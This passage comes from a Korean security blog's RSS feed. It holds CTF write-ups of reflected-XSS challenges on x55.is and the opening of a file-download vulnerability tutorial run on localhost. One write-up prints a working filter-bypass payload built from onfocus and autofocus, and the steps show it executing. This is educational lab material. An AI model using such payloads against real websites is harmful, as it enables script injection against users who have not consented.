&lt;li&gt;b4 파라미터 값에&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;특수문자 4개 &amp;lt;, ', &quot;, &amp;gt;를 삽입하여 요청을 보냅니다. 그 후 응답 결과를 확인해 보면 &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;background-color: #ffffff; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;text-align: start;&quot;&gt; &lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;기호가 필터링 되고 있는 것을 볼 수 있으며 HTML 태그를 닫는 용도로 &amp;gt; 기호를 사용하지 못한다는 것을 알 수 있습니다.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;355&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdO85x/dJMcah39PnR/RT9af5TjgsVh9dJwOFKUfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdO85x/dJMcah39PnR/RT9af5TjgsVh9dJwOFKUfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdO85x/dJMcah39PnR/RT9af5TjgsVh9dJwOFKUfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdO85x%2FdJMcah39PnR%2FRT9af5TjgsVh9dJwOFKUfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;320&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;355&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;필터링으로 인해 input 태그를 강제로 닫고 스크립트 삽입이 불가능하므로 이를 우회해야 합니다. 해당 문제에서는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;onfocus + autofocus&lt;/b&gt;를 이용하여 우회를 시도합니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;[페이로드(입력 값)]&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;dddd'+autofocus+onfocus=alert('1')+x='&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;autofocus : 페이지가 로드되면 특정 요소에 자동으로 포커스를 줍니다.&lt;br /&gt;onfocus : 요소가 포커스를 얻으면 실행되는 이벤트 핸들러입니다.&lt;br /&gt;&lt;br /&gt;정리하면 해당 페이로드가 삽입된 URL로 접속하게 된다면 autofocus로 인해 자동으로 포커스를 주고 onfocus에 의해 alert 함수가 실행됩니다. 따라서 별다른 행위를 하지 않아도 바로 스크립트가 실행됩니다.&lt;br /&gt;&lt;br /&gt;+)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;x='&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;을 해준 이유는 페이로드를 삽입하고 싱글쿼터(')가 하나 남게 되어 문법이 맞지 않게 됩니다. 따라서 문법을 맞춰주기 위해 페이로드에 함께 삽입하여 줍니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;355&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dMrCpX/dJMcaiWgAwT/Xl02PKsAHPzYJSPNCyl7Wk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dMrCpX/dJMcaiWgAwT/Xl02PKsAHPzYJSPNCyl7Wk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dMrCpX/dJMcaiWgAwT/Xl02PKsAHPzYJSPNCyl7Wk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdMrCpX%2FdJMcaiWgAwT%2FXl02PKsAHPzYJSPNCyl7Wk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;320&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;355&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;삽입된 스크립트가 정상적으로 실행되는지 확인하기 위해 스크립트가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;삽입된 URL 그대로 복사하여 주소창에 입력하여 접속합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;674&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/neetA/dJMcacBMKY0/SuNiArCwe3XBgqqQQSggvk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/neetA/dJMcacBMKY0/SuNiArCwe3XBgqqQQSggvk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/neetA/dJMcacBMKY0/SuNiArCwe3XBgqqQQSggvk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FneetA%2FdJMcacBMKY0%2FSuNiArCwe3XBgqqQQSggvk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;428&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;674&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;결과를 확인해 보면 삽입된 스크립트가 정상 작동하여 경고 창을 성공적으로 띄우며 XSS(RXSS) 공격에 성공했음을 확인할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;671&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKIUBt/dJMcaaKJuYd/1YU0vuafZ5EAKrJEaVIvDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKIUBt/dJMcaaKJuYd/1YU0vuafZ5EAKrJEaVIvDk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKIUBt/dJMcaaKJuYd/1YU0vuafZ5EAKrJEaVIvDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKIUBt%2FdJMcaaKJuYd%2F1YU0vuafZ5EAKrJEaVIvDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;426&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;671&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/x55.is(CTF)</category>
      <category>CTF</category>
      <category>Reflected XSS</category>
      <category>RXSS</category>
      <category>x55.is</category>
      <category>XSS</category>
      <category>모의해킹</category>
      <category>모의해킹 공부 정리</category>
      <category>크사</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/13</guid>
      <comments>https://code000.tistory.com/entry/x55isCTF-XSS-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-24#entry13comment</comments>
      <pubDate>Mon, 5 Jan 2026 11:45:18 +0900</pubDate>
    </item>
    <item>
      <title>x55.is(CTF) - XSS 문제 풀이 (1/4)</title>
      <link>https://code000.tistory.com/entry/x55isCTF-XSS-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-14</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;https://x55.is/brutelogic/xss.php?a=test&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표 &amp;amp; 사용 도구&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt; alert 함수를 통해 경고창을 화면에 띄우는 것을 목표로 합니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&amp;nbsp;&lt;/b&gt;Burp Suite&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이 - &lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;https://x55.is/brutelogic/xss.php?a=test&lt;/span&gt;&amp;nbsp;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제 페이지에 접속하면 a 파라미터에 입력한 값이 화면에 출력되는 것을 확인할 수 있습니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;657&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cw6guL/dJMcaiopqNJ/BfVRglTZC21Io2bT2mnLVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cw6guL/dJMcaiopqNJ/BfVRglTZC21Io2bT2mnLVK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cw6guL/dJMcaiopqNJ/BfVRglTZC21Io2bT2mnLVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcw6guL%2FdJMcaiopqNJ%2FBfVRglTZC21Io2bT2mnLVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;550&quot; height=&quot;383&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;657&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Burp Suite를 이용하여 a 파라미터 값에 특수문자 4개 &amp;lt;, ', &quot;, &amp;gt;를 삽입하여 요청을 보냅니다. 그 후 응답 결과를 확인해 보면 특수문자 전부 별다른 필터링이 적용되지 않기 때문에 HTML과 javscript를 이용하여 스크립트를 삽입할 수 있다는 것을 의미합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;395&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZOgHc/dJMcabbLgbq/q6dKKCBPjJawPPkAh6Lbbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZOgHc/dJMcabbLgbq/q6dKKCBPjJawPPkAh6Lbbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZOgHc/dJMcabbLgbq/q6dKKCBPjJawPPkAh6Lbbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZOgHc%2FdJMcabbLgbq%2Fq6dKKCBPjJawPPkAh6Lbbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;335&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;395&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;a 파라미터에 스크립트(페이로드)를 삽입하여 요청 데이터를 보낸 뒤 응답 결과를 확인해 보면 스크립트가 삽입된 것을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjByAi/dJMcacIwgF0/ElMW8lufqANpGC3lIEVL90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjByAi/dJMcacIwgF0/ElMW8lufqANpGC3lIEVL90/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjByAi/dJMcacIwgF0/ElMW8lufqANpGC3lIEVL90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjByAi%2FdJMcacIwgF0%2FElMW8lufqANpGC3lIEVL90%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;342&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;404&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;스크립트가 제대로 동작하는지 확인하기 위해 스크립트가 삽입된 URL 그대로 복사하여 주소창에 입력하여 접속합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;935&quot; data-origin-height=&quot;652&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c1LF9J/dJMcaacQQFd/JNqcNvPAjJawkAdo299Rf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c1LF9J/dJMcaacQQFd/JNqcNvPAjJawkAdo299Rf1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c1LF9J/dJMcaacQQFd/JNqcNvPAjJawkAdo299Rf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc1LF9J%2FdJMcaacQQFd%2FJNqcNvPAjJawkAdo299Rf1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;550&quot; height=&quot;384&quot; data-origin-width=&quot;935&quot; data-origin-height=&quot;652&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;결과를 확인해 보면 삽입된 스크립트가 정상작동하여 경고 창을 성공적으로 띄우며 XSS 공격에 성공했음을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;652&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFGyF5/dJMcabCO22x/O8criydrwbCP1ZsI2RqDG0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFGyF5/dJMcabCO22x/O8criydrwbCP1ZsI2RqDG0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFGyF5/dJMcabCO22x/O8criydrwbCP1ZsI2RqDG0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFGyF5%2FdJMcabCO22x%2FO8criydrwbCP1ZsI2RqDG0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;550&quot; height=&quot;380&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;652&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/x55.is(CTF)</category>
      <category>CTF</category>
      <category>Reflected XSS</category>
      <category>RXSS</category>
      <category>x55.is</category>
      <category>XSS</category>
      <category>모의해킹</category>
      <category>모의해킹 공부 정리</category>
      <category>크사</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/12</guid>
      <comments>https://code000.tistory.com/entry/x55isCTF-XSS-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-14#entry12comment</comments>
      <pubDate>Mon, 29 Dec 2025 00:08:29 +0900</pubDate>
    </item>
    <item>
      <title> 파일 다운로드(File Download) 취약점</title>
      <link>https://code000.tistory.com/entry/%F0%9F%93%8C%ED%8C%8C%EC%9D%BC-%EB%8B%A4%EC%9A%B4%EB%A1%9C%EB%93%9CFile-Download-%EC%B7%A8%EC%95%BD%EC%A0%90</link>
      <description>&lt;h2 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;파일 다운로드(File Download) 취약점이란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에서 임의의 파일을 다운로드 할 수 있는 취약점을 File Download 라고 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;파일 다운로드(File Download) 취약점이 발생할 수 있는 곳&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 다운로드가 가능한 곳&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;실습 - 파일 다운로드(File Download) 취약점 알아보기&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실습을 통해서 파일 다운로드(File Download) 취약점이 무엇인지 알아보겠습니다. 우선 사용자들이 글쓰기와 파일 업로드를 할 수 있는 게시판이 있다고 가정합니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;618&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bU0fRR/btsPEpQO525/KmMKNdAK6NnlTK5xS6HNVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bU0fRR/btsPEpQO525/KmMKNdAK6NnlTK5xS6HNVK/img.png&quot; data-alt=&quot;글 작성 및 파일 업로드를 할 수 있는 게시판 페이지&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bU0fRR/btsPEpQO525/KmMKNdAK6NnlTK5xS6HNVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbU0fRR%2FbtsPEpQO525%2FKmMKNdAK6NnlTK5xS6HNVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;458&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;618&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;글 작성 및 파일 업로드를 할 수 있는 게시판 페이지&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;해당 게시판에서 이미지 파일을 하나 업로드 합니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;616&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZgd1O/btsPDHdmxzi/arUKedCVy4QvFRPBlMkJH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZgd1O/btsPDHdmxzi/arUKedCVy4QvFRPBlMkJH1/img.png&quot; data-alt=&quot;이미지 파일 업로드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZgd1O/btsPDHdmxzi/arUKedCVy4QvFRPBlMkJH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZgd1O%2FbtsPDHdmxzi%2FarUKedCVy4QvFRPBlMkJH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;457&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;616&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;이미지 파일 업로드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이미지 파일을 업로드한 뒤 해당 게시판에 접속하면 파일 다운로드 버튼이 있는 것을 알 수 있으며 마우스 우클릭을 클릭하여 링크 주소 복사를 해줍니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;610&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/okz61/btsPEuSa8m3/VkYfn0DBKey0nrBTV2OH8k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/okz61/btsPEuSa8m3/VkYfn0DBKey0nrBTV2OH8k/img.png&quot; data-alt=&quot;다운로드 버튼 우클릭 했을 때&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/okz61/btsPEuSa8m3/VkYfn0DBKey0nrBTV2OH8k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fokz61%2FbtsPEuSa8m3%2FVkYfn0DBKey0nrBTV2OH8k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;452&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;610&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;다운로드 버튼 우클릭 했을 때&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #ffffff; color: #222225; text-align: start;&quot;&gt;복사한 링크 주소를 확인해 보면 file_down 파라미터 값이 업로드했던 파일 이름인 것을 알 수 있고 해당 링크 주소를 URL 입력 창에 붙여넣기 하여 접근하면 파일 이름에 해당하는 파일이 다운로드 되는 것을 볼 수 있습니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1754224921815&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://localhost/file.php?file_down=%ED%8C%8C%EC%9D%BC+%EC%97%85%EB%A1%9C%EB%93%9C%EC%9A%A9+%EC%82%AC%EC%A7%84.png&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
